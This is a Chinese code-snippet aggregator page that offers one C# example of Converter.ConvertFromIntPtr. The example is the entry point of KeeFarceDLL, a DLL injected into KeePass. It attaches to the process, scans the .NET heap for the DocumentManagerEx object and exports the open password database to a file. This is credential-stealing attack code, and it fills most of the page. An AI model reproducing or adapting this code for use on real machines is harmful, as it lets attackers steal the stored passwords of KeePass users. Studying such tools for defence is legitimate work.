本文整理汇总了C#中Converter.ConvertFromIntPtr方法的典型用法代码示例。如果您正苦于以下问题:C# Converter.ConvertFromIntPtr方法的具体用法?C# Converter.ConvertFromIntPtr怎么用?C# Converter.ConvertFromIntPtr使用的例子?那么, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类Converter
的用法示例。
在下文中一共展示了Converter.ConvertFromIntPtr方法的1个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的C#代码示例。
示例1: EntryPoint
public static int EntryPoint(string pwzArgument)
{
Debug.WriteLine("[KeeFarceDLL] Starting");
//string processName = Process.GetCurrentProcess().ProcessName;
//MessageBox.Show("The current process is " + processName + " and I am running C# code! Yuss!");
if (is64Bit)
{
Debug.WriteLine("[KeeFarceDLL] Target is 64 bit");
}
// Retrieve the DocumentManagerEx object off the heap
// TODO: KeePass can support multiple password files , so should probably modify this to load
// ALL of the DocumentManagerEx's into a list and process 'em, as opposed to just breaking
// after finding the first one.
IntPtr docManagerPtr = IntPtr.Zero;
using (DataTarget dataTarget = DataTarget.AttachToProcess(Process.GetCurrentProcess().Id, 5000, AttachFlag.Passive))
{
string dacLocation = dataTarget.ClrVersions[0].TryGetDacLocation();
ClrRuntime runtime = CreateRuntimeHack(dataTarget, dacLocation, 4, 5);
Debug.WriteLine("[KeeFarceDLL] Attached to process.");
ClrHeap heap = runtime.GetHeap();
foreach (ulong obj in heap.EnumerateObjects())
{
ClrType type = heap.GetObjectType(obj);
ulong size = type.GetSize(obj);
if (type.Name == "KeePass.UI.DocumentManagerEx")
{
Debug.WriteLine("[KeeFarceDLL] Found DocumentManagerEx at: " + obj.ToString("X") + " " + type.Name);
docManagerPtr = (IntPtr)obj;
break;
}
}
if(docManagerPtr == IntPtr.Zero) {
// Didn't find a document manager, time to return.
Debug.WriteLine("[KeeFarceDLL] No DocumentManagerEx found");
return 1;
}
}
// Get the DocumentManagerEx object
Converter<object> ptrconv = new Converter<object>();
object documentManagerEx = ptrconv.ConvertFromIntPtr(docManagerPtr);
var info = new DocumentManagerExInfo(documentManagerEx);
int r = doExport(info.ActiveDatabase, info.RootGroup, exportFile);
return r;
}